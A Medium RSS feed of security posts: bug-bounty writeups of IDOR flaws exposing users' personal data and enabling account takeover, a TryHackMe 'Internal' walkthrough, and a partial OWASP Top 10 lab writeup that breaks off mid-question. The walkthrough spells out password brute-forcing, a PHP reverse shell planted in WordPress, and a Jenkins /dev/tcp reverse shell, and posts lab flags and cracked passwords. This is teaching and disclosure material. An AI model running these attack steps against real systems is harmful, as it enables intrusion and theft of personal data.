<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dishasutariya22 on Medium]]></title>
        <description><![CDATA[Stories by Dishasutariya22 on Medium]]></description>
        <link>https://medium.com/@dishasutariya22?source=rss-2b92b9db3343------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*1fUYMrbmS-GsHjDu</url>
            <title>Stories by Dishasutariya22 on Medium</title>
            <link>https://medium.com/@dishasutariya22?source=rss-2b92b9db3343------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 11:47:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dishasutariya22/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Sensitive Information Disclosure via IDOR]]></title>
            <link>https://dishasutariya22.medium.com/sensitive-information-disclosure-via-idor-2ef79d54e444?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ef79d54e444</guid>
            <category><![CDATA[blog]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[information-disclosure]]></category>
            <category><![CDATA[sensitive-information]]></category>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Sun, 27 Oct 2024 05:20:11 GMT</pubDate>
            <atom:updated>2024-10-27T05:20:11.137Z</atom:updated>
            <content:encoded><![CDATA[<p>Hellooo wowieee people…</p><p>Hi! I’m Disha, a cybersecurity researcher and bug hunter. In this post, I’ll show you how easily a bug can be found.</p><p>One day, while scrolling through a website, I added my address for a product purchase. Then, I noticed an address ID displayed in the URL. Curious, I changed the ID to see what would happen — and instantly, I saw someone else’s address and mobile number. This IDOR vulnerability revealed sensitive information simply by altering the ID parameter in the URL.</p><p>This bug showed how a small vulnerability can expose personal data, and it’s a reminder of why we need secure access controls to protect user information.</p><p><strong>Step to reproduce:</strong></p><p><strong>Step 1</strong>: Identify the vulnerable parameter. In my case, it was the address parameter in the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*w5OzdTiiRduG337_UFWGNA.png" /></figure><p><strong>Step 2</strong>: Capture the request in Burp Suite and send it to the Repeater for further testing.</p><p><strong>Step 3</strong>: Modify the address ID in the Repeater request and check the response. If the response contains sensitive information of another user, the vulnerability is confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kyzkydQNsBMCtPqPM4a9zg.png" /></figure><p><strong>Taa daa!</strong> You’ve now accessed another user’s mobile number, address, and other sensitive details!</p><p>I hope you like this blog ! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ef79d54e444" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INTERNAL : TRY HACK ME — walkthrough]]></title>
            <link>https://dishasutariya22.medium.com/internal-try-hack-me-walkthrough-f0ca25437429?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0ca25437429</guid>
            <category><![CDATA[internal]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Thu, 26 Sep 2024 13:47:53 GMT</pubDate>
            <atom:updated>2024-09-28T08:35:32.866Z</atom:updated>
            <content:encoded><![CDATA[<h3>INTERNAL : TRY HACK ME — walkthrough</h3><p><a href="https://tryhackme.com/room/internal">Internal</a></p><p>This is a writeup for the room internal on <a href="https://tryhackme.com/">Tryhackme</a></p><p>Before we begin port scanning, let’s add internal.thm to /etc/hosts: [ip= target ip address]</p><p><em>“sudo nano /etc/hosts”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WNlqYKUDyvxlqxL47ffsZw.png" /></figure><p>Starting with a simple nmap-scan: two ports are open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1yK2mMaAzntKWjC2jPG4Fg.png" /></figure><p>Browsing the page reveals a default Apache welcome page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8RRAnh1lggtwGNkkGfHTw.png" /></figure><p>To find hidden directories we can use gobuster.[ you can also use dirb, dirbuster, ffuf ]</p><p>“<em>gobuster dir -u </em><a href="http://internal.thm/"><em>http://internal.thm</em></a><em> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eyz9XG3e-xvwW7_hhYmgYQ.png" /></figure><p>From the subdirectory enumeration, we discovered the login page:</p><p><em>“http://internal.thm/blog/wp-admin/”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UONl9xQxDZD7JRgzQQrgIQ.png" /></figure><p>From the directory and by using Wappalyzer, we can see that the webpage is running on WordPress. So, let’s proceed with enumerating it using WPScan.</p><p>“<em>wpscan — url </em><a href="http://internal.thm/wordpress"><em>http://internal.thm/wordpress</em></a><em> -e”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lPvaiSIHdHu-zKPdo0wrzQ.png" /></figure><p>Now that we have a valid username we can use the same tool to try and bruteforce the password.</p><p>“<em>wpscan — url </em><a href="http://internal.thm/wordpress"><em>http://internal.thm/wordpress</em></a><em> -U admin -P /usr/share/wordlists/rockyou.txt</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ku8Seo1fqS8JPh6rkFBasw.png" /></figure><p>Taa daa! We have found the password for admin: “<em>my2boys</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*xtRqKYiJ63oAILZDdDpZsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y433ltVUPBt-hR1ten4PfA.png" /></figure><p>We can now log in to WordPress with the above credentials.</p><p>From here, the 404 template can be edited to add code for a PHP reverse shell. This can be found under:</p><p>“WordPress &gt; Appearance &gt; Theme Editor &gt; 404 template.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MZnXzPtElcSEjxEiGWo4yg.png" /></figure><p>We can try and replace it with a php-reverse shell and simply navigate to the home page and trigger it!</p><p>Reverse shell code :<a href="https://codepasta.app/paste/c4p744vout2tbkhn54ag/raw">https://codepasta.app/paste/c4p744vout2tbkhn54ag/raw</a></p><p>note : change ip= your local ip (tun0) , port= you can choose any port</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zILVEKOJs8yAee0rI_D3ig.png" /></figure><p>We can now apply the changes and set-up a local netcat listener:</p><p>“<em>nc- lvnp 1234</em>”</p><p>Browsing to the location of this 404 page should then execute the code and spawn a shell:</p><p>“<em>http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4rimQfvbuXMWVrd_SP8cg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5UWfcraTDURHBolImEUyGg.png" /></figure><p>Success! Now we should upgrade our shell to make it more stable with the following commands:</p><p><em>python -c ‘import pty; pty.spawn(“/bin/bash”)’</em></p><p><em>— </em>This Python command gives you a more functional bash shell within the system you’ve accessed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*cmyG3ft9aN7khLP3BoAo_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*2t_4DQ7h_Ih__m_7m4O9NQ.png" /></figure><p><em>Ctrl+Z</em></p><p><em>stty raw -echo; fg</em></p><p><em>— </em>These commands adjust your terminal settings so that input/output behaves normally, and then brings your session back to the foreground.</p><p><em>export TERM=xterm</em></p><p>— his sets the terminal type to “xterm”, making sure that features like clear screen, arrow keys, and other terminal behaviours work properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*7Pz5qfLxnJquCVDf4i_GFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MGYFCR-zU-wSCdylKh1tJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*mUGPumN3dIBtwprGaaX77w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*Wx18uyPhsAizwuz0A0KK5g.png" /></figure><p>When I gain access to a target machine, my go-to command is “<em>sudo -l</em>” which shows available commands with sudo privileges. But it does not work all the time, it asks sudo password in many cases like in this scenario:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/0*7YNR8JA8ZggvTuA7.png" /></figure><p>The second command I typically execute is to check for any SUID bits that might allow me to run commands with root privileges. I use the following command:</p><p>“<em>find / -perm -u=s -type 2&gt;/dev/null</em>”</p><p>But nothing interesting came out.</p><p>Nevertheless, there is an interesting file on the home directory. If we take a look at the jenkins.txt, it says that an internal Jenkins service is running on an ip address different from our attacking machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/0*hyQItYa6F0SpzcnP.png" /></figure><p>To confirm that, we can simply run the ifconfig command to check the network configuration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/0*eiXS1NTegvcArJ1T.png" /></figure><p>It appears that there is a Docker instance running on the target machine with a 172-series IP address. Consequently, Jenkins is hosted within Docker, running on port 8080. To access it, we will employ an SSH tunneling technique to forward the Jenkins IP and port from the target machine to our attacker machine’s IP and port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/0*AaO5EBGSmV3G_aa-.png" /></figure><p>“<em>ssh -L 7878(you can use a different port):172.17.0.2:8080 aubreanna@internal.thm</em>”</p><p>To gain access to Jenkins, type localhost:[Port Number] in your browser:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/0*i_6pK4npyBjZwHD5.png" /></figure><p>But we need valid credentials to log in… I googled default credentials for Jenkins, and tried admin: password but did not work out. At this point, we can brute-force the login page with FFUF. For HTTP login pages, it is advisable to use Burp Suite to capture the POST request and save it to a file before proceeding with FFUF.</p><p>Here is the POST request received in Burp Suite. You can right-click on it and save it on a file as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eCmPZHEfOLifCDKv.png" /></figure><p>Now you can use the following command:</p><p>“<em>ffuf -request [file name] -request-proto http -w /usr/share/wordlists/SecLists/Passwords/xato-net-10-million-passwords-10000.txt</em>”</p><p>Success! Now we can log in to the Jenkins page with the valid credentials: “<em>admin: spongebob</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xjo6dP0aC8ZFU9LN.png" /></figure><p>Now that we have admin access to Jenkins, we can execute commands and, ultimately, exploit this to establish a reverse shell. To do so, we first need to locate a panel where we can write a reverse shell script. Under ‘Manage Jenkins’ &gt; ‘Tools and Actions,’ there is a ‘Script Console’ where we can create our script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jDbtmOmdUUIxmi2j.png" /></figure><p>We can now proceed to execute the following command. However, please ensure that you start a Netcat listener before running this command.</p><p>r = Runtime.getRuntime()</p><p>p = r.exec([“/bin/bash”,“-c”,“exec 5&lt;&gt;/dev/tcp/10.10.23.238/4444;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done”] as String[])</p><p>p.waitFor()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kxDhlQ7gH_gOk_ad.png" /></figure><p>Excellent! We have successfully received the reverse shell. As a standard practice, it is important to obtain a more stable shell once we have remote access to a target. In this case, we can use the ‘/bin/bash -i’ command to upgrade our shell to a Bash shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u76wEZakri4bbIzZ.png" /></figure><p>Now that we have a stable shell, our next objective is to escalate our privileges. As you may recall, we discovered the password for the ‘aubreanna’ user under the ‘/opt’ directory. Let’s revisit the same location and see if we can find anything interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hh_NeAXvGdazDpm7.png" /></figure><p>Sweet! There’s a file called ‘note.txt’ that contains the information we need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pSrTVreHWpdhEkzG.png" /></figure><p>root flag : THM{d0ck3r_d3str0y3r}</p><p>I hope you like this writeup! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0ca25437429" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How IDOR Leads to Account Takeover]]></title>
            <link>https://dishasutariya22.medium.com/how-idor-leads-toaccount-takeover-51ea6d0df06a?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/51ea6d0df06a</guid>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[account-take-over]]></category>
            <category><![CDATA[idor-poc]]></category>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Sat, 21 Sep 2024 14:03:39 GMT</pubDate>
            <atom:updated>2024-09-23T02:47:32.891Z</atom:updated>
            <content:encoded><![CDATA[<p>Hellooo wowieee people…</p><p>My name is Disha, and I’m a cybersecurity researcher and bug hunter. In this blog, I’ll demonstrate how to perform an account takeover using an IDOR vulnerability.</p><p>What is IDOR(Insecure Direct Object Reference)?</p><p><strong>IDOR </strong>is a security vulnerability where an attacker can access or modify someone else’s data by changing a part of the URL or request, like a user ID. This happens because the system doesn’t properly check if the person making the request has permission to access that data.</p><ol><li>check if the email update endpoint is vulnerable to IDOR</li><li>check if the password change endpoint is vulnerable to IDOR</li><li>check if the password reset endpoint vulnerable to IDOR</li></ol><p>I tested the parameters for the email update, password change, and password reset endpoints. The password reset endpoint is vulnerable to IDOR, as the URL contains the id parameter, which can be manipulated to reset another user’s password.</p><p>Here, I was able to change the customer ID of any user, and it displayed their mobile number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*hak_zcIk7wMNJVanN2PaOQ.png" /></figure><p>I sent an OTP request to the victim’s account and attempted to bypass it using Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*2UjB96HG6UF62RGiG5jFCQ.png" /></figure><p>I captured the OTP request in Burp Suite and manipulated the response to bypass the verification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*pFXZv--yBRxPYlDabGOmuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*AnQ1vM_To5Ow4GZHtJJ6fA.png" /></figure><p>I reset the victim’s account password and log in into account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mvy6GRHeP9xAA-K07BtLaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CURTI7X0K2fcXeJPd65BcQ.png" /></figure><p>Taa daa..!!! You’ve successfully gained access to the victim’s account.</p><p>Impact :</p><p>An account takeover can have severe consequences for both the user and the organisation. When an attacker gains unauthorised access to a user’s account, they can control personal information, make unauthorised transactions, and exploit sensitive data such as payment details, addresses, and communication records. This breach compromises the privacy and security of the affected user, potentially leading to identity theft, financial loss, and reputational damage. For the organization, account takeovers can result in a loss of customer trust, legal repercussions, and the exposure of vulnerabilities in the platform. It may also lead to widespread exploitation if the attacker targets multiple users or the entire system.</p><p>I hope you like this blog ! You can show me some love by hitting clap button. Thanks for reading this till to the end.</p><p>linkedin : <a href="https://www.linkedin.com/in/disha-sutariya-b2444b234">linkedin.com/in/disha-sutariya-b2444b234</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51ea6d0df06a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TRY HACK ME : OWASP TOP 10]]></title>
            <link>https://dishasutariya22.medium.com/try-hack-me-owasp-top-10-5a28fb131f9e?source=rss-2b92b9db3343------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a28fb131f9e</guid>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Dishasutariya22]]></dc:creator>
            <pubDate>Fri, 20 Sep 2024 10:50:50 GMT</pubDate>
            <atom:updated>2024-09-20T10:50:50.050Z</atom:updated>
            <content:encoded><![CDATA[<h3>TRY HACK ME : OWASP TOP 10</h3><p>This is a writeup for the room <a href="https://tryhackme.com/room/owasptop10">OWASPTop</a> 10 on <a href="https://tryhackme.com/">Tryhackme</a></p><p>This room focuses on the following OWASP Top 10 vulnerabilities</p><ol><li>command Injection</li><li>Broken Authentication</li><li>Sensitive Data Exposure</li><li>XML External Entity</li><li>Broken Access Control</li><li>Security Misconfiguration</li><li>Cross-site Scripting</li><li><strong>I</strong>nsecure Deserialisation</li><li>Components with Known Vulnerabilities</li><li>Insufficient Logging &amp; Monitoring</li></ol><h3>TRY HACK ME : OWASP TOP 10 — Command injection</h3><p>To complete the questions below, navigate to <a href="http://10.10.107.98/evilshell.php">http://YOUR_IP/evilshell.php</a>.</p><p>Que 1: What strange text file is in the website root directory?</p><p>Use the command <strong>ls or dir </strong>to list all directories and files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*faViWA_NOR2fR4r2XI_lRQ.png" /></figure><p>Ans 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*CjrdYmDnzOvtF5xBFRR8tg.png" /></figure><p>Que 2: How many non-root/non-service/non-daemon users are there?</p><p>The /etc/passwd contains local users in a Linux system.after analyzing there is no non-root/non-service/non-daemon users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uPvONsTKKgQ0h3TcqYYP4w.png" /></figure><p>Ans 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*uwR2tXk4AUHPDzhfKc9NFQ.png" /></figure><p>Que 3: What user is this app running as?</p><p><strong>whoami</strong> command displays the username of the current user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_wosz4iITic5e-7GjrTtdQ.png" /></figure><p>Ans 3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*gHRw87p64XF2h6sGMChxwg.png" /></figure><p>Que 4: What is the user’s shell set as?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3P1EKYcUUWeKAo41oLcuqA.png" /></figure><p>Ans 4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*TOJXYMW3Ols6bwMS-OxV_A.png" /></figure><p>Que 5: What version of Ubuntu is running?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oOqZ3zP3GWqGzFzr6Wouzg.png" /></figure><p>Ans 5:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*Ev5n7NXa9WUhxWzUyDzOww.png" /></figure><p>Que 6: Print out the MOTD. What favorite beverage is shown?</p><p>MOTD : message of the day</p><p>To find where the MOTD is located, use the grep command to search for it.This will help you locate the file where the MOTD is stored, and you can check it for any clues about the favorite beverage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MBWs7cZ6S6vNdFC9UJGg5g.png" /><figcaption>To find where the MOTD is located, use the grep command to search for it:</figcaption></figure><p>Running ls /etc/update-motd.d doesn’t show any useful information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tkWXQdWfqMSurBPJLx5QRA.png" /></figure><p>In the hint section, the 00-header file is mentioned, so we’ll use that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VzYX2ipep0zwCqEAgJykYw.png" /></figure><p>Ans 6:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*tvAyiEvwSeh9p94O90A-bg.png" /></figure><h3>TRY HACK ME : OWASP TOP 10 — broken authentication</h3><p>Que 1: What is the flag that you found in darren’s account ?To see this in Head over to <a href="http://ipaddress:8888/">http://ipaddress:8888</a> and attempt to create a new user with the username <em>darren</em>. You’ll notice that the system will inform you the user already exists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRGssTgouC1bZeHakTSMxg.png" /></figure><p>Next, try registering with the username <em>“ darren”</em> (with a space). You’ll now find yourself logged in, gaining access to content exclusive to Darren’s account, which in this case includes the flag you need to capture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OPVm18eFlh1kP_cwsoxJ_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uXZEn1B306Ggj0XE.png" /></figure><p>Ans 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*gA_JEAgSrxevVa280BVI2g.png" /></figure><p>Que 2: What is the flag that you found in arthur’s account?</p><p>Register a new account with username: “ Arthur<strong><em>”. </em></strong>Make sure there is whitespace. You may now login with newly created info and obtain the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/0*J78kwK8dbpPjeIQ8.png" /></figure><p>Ans 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*VsfwJx19zC5VD8Ca-lSTRw.png" /></figure><h3>TRY HACK ME : OWASP TOP 10 — sensitive data exposure</h3><p>This is a writeup for the room <a href="https://tryhackme.com/room/owasptop10">OWASPTop</a> 10 on <a href="https://tryhackme.com/">Tryhackme</a></p><p><strong>[Severity 3] Sensitive Data Exposure (Challenge)</strong></p><p>Have a look around the WebApp. The developer has left themselves a note indicating that there is sensitive data in a specific directory.</p><p>Que 1 :What is the name of the mentioned directory?</p><ul><li>To find directories, view the page source to gather more information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EOLKNdyxNaT8H_ESZMPYA.png" /></figure><p>Ans 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*UlcH6J97sp1hlS6FeM66ow.png" /></figure><p>Que 2: Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cn_q1AnCmctHtxAP2ueOZQ.png" /></figure><p>Ans 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BEuVOKce8zq4RD4gY-acBg.png" /></figure><p>Que 3:Crack the hash.<br>What is the admin’s plaintext password?</p><p>step 1: First, download the <strong><em>webapp.db</em></strong><em> </em>database</p><p>step 2: In the Kali Linux terminal access the database <strong><em>sqlite 3 webapp.db</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*4wtyJNReNFeXxgwsvEXIgw.png" /></figure><p>step 3: Access the tables in the database<strong> <em>.tables</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*Zt55zvmw7fcSJJCf4t8yxg.png" /></figure><p>step 4: Use the command <strong><em>PRAGMA table_info(users);</em></strong><em> to access the users’ table information.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*8iN0NU_ArPWrzq7lf06YIg.png" /></figure><p>step 5: Use <strong>SELECT * FROM users </strong>to dump the information from the table and get access to the hash password for the admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XEJCUnn8B8UUCsuIAkCP4A.png" /></figure><p>Ans 3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*74ZFMFFhTP-jwVdU2VbQKQ.png" /></figure><p>Que 4: Crack the hash.<br>What is the admin’s plaintext password?</p><p><a href="https://crackstation.net/">https://crackstation.net/</a> visit this link to crack the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4wCqjpkNgKVdlRyvKrplwQ.png" /></figure><p>Ans 4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*yMjxdXMuxISRabNvWGtMeA.png" /></figure><p>Que 5: Login as the admin. What is the flag?</p><p>log in with username: admin and password: qwertyuiop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*vw_3za8tx9l46wAk66mGLg.png" /></figure><h3>TRY HACK ME : OWASP TOP 10 — XML External Entity</h3><p>Task 13 [Severity 4] XML External Entity — eXtensible Markup Language</p><p>Que 1: Full form of XML</p><p>Ans 1 : Extensible Markup Language</p><p>Que 2: Is it compulsory to have XML prolog in XML documents?</p><p>ans 2 : No</p><p>Que 3: Can we validate XML documents against a schema?</p><p>Ans 3 : Yes</p><p>Que 4:How can we specify XML version and encoding in XML document?</p><p>Ans 4 : XML prolog</p><p>Task 14 [Severity 4] XML External Entity — DTD</p><p>Que 1 : How do you define a new ELEMENT?</p><p>Ans 1 : !ELEMENT</p><p>Que 2 : How do you define a ROOT element?</p><p>Ans 2 : !DOCTYPE</p><p>Que 3 : How do you define a new ENTITY?</p><p>Ans 3 : !ENTITY</p><p>Task 16 [Severity 4] XML External Entity — Exploiting</p><p>Que 1 :Try to display your own name using any payload.</p><p>Ans 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plkwhObeXuPdtsZFovROVQ.png" /></figure><p>Que 2: See if you can read the /etc/passwd</p><p>Ans 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXeJfW092S6alOMzNZtUMQ.png" /></figure><p>Que 3: What is the name of the user in /etc/passwd</p><p>Ans 3 :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vDcqEeaXeCEBZ8x5RyD3RA.png" /></figure><p>Que 4: Where is falcon’s SSH key located?</p><p>Ans 4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0i5TVkAQwVFnXq4xwI40w.png" /></figure><p>Que 5: What are the first 18 characters for falcon’s private key</p><p>Ans 5: MIIEogIBAAKCAQEA7 (you can use online tool to count characters)</p><h3>TRY HACK ME : OWASP TOP 10 — Broken Access Control</h3><p>Que 1 : Look at other users notes. What is the flag?</p><p>To obtain the flag, login with the username and password provided. Then Navigate to the Url and change the URL note parameter to 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M9PYo1zhL2SUbHMPbjqOFA.png" /></figure><p>Ans 1 : flag{fivefourthree}</p><h3>TRY HACK ME : OWASP TOP 10 — Security missconfiguration</h3><p>Que 1 :Hack into the webapp, and find the flag!</p><p>log in into webpage using default credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qoYJLNljJ8N5cpRu268iFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5ZTI5klfg2BXFKQIrdNkg.png" /></figure><p>Ans 1 : thm{4b9513968fd564a87b28aa1f9d672e17}</p><h3>TRY HACK ME : OWASP TOP 10 — XXS</h3><p>Que 1: Navigate to <a href="http://10.10.54.122/">http://YOURIP/</a> in your browser and click on the “Reflected XSS” tab on the navbar; craft a reflected XSS payload that will cause a popup saying “Hello”.</p><p>method 1: using burpsuite</p><p>step 1: go to reflected xss tab and search anything. and capture that request in burp suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ln7yuk-1Ju7kjyf94y8ExA.png" /></figure><p>step 2 : paste XSS payload with keyword</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JuzlMFJQGYHHsB3LjV_gQ.png" /></figure><p>step 3 : in responce you’ll recieve answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_e4i6YWhgerFP0aMBjO8Q.png" /></figure><p>method 2 : manually testing</p><p>Step 1: Search for any keyword, then use an XSS payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*7gFz3atqVO2Tp0XAkrc_9g.png" /></figure><p>Step 2: The answer will appear in the popup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPwW_KW0qxxxHx6JavVVtQ.png" /></figure><p>Ans 1 : ThereIsMoreToXSSThanYouThink</p><p>Que 2 : On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*_jLcCZul0F8Tp7XboL-NCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IIAvStTDUtwRXj2CbGVECg.png" /></figure><p>Ans 2 : ReflectiveXss4TheWin</p><p>Now navigate to <a href="http://10.10.159.200/">http://YOURIP/</a> in your browser and click on the “Stored XSS” tab on the navbar; make an account.</p><p>Que 3 : Then add a comment and see if you can insert some of your own HTML.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VTr7VDEnKSfz206PvhVGUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VGx5GtSWPhvZ4qvp51UzQ.png" /></figure><p>Ans 3 : HTML_T4gs</p><p>Que 4 : 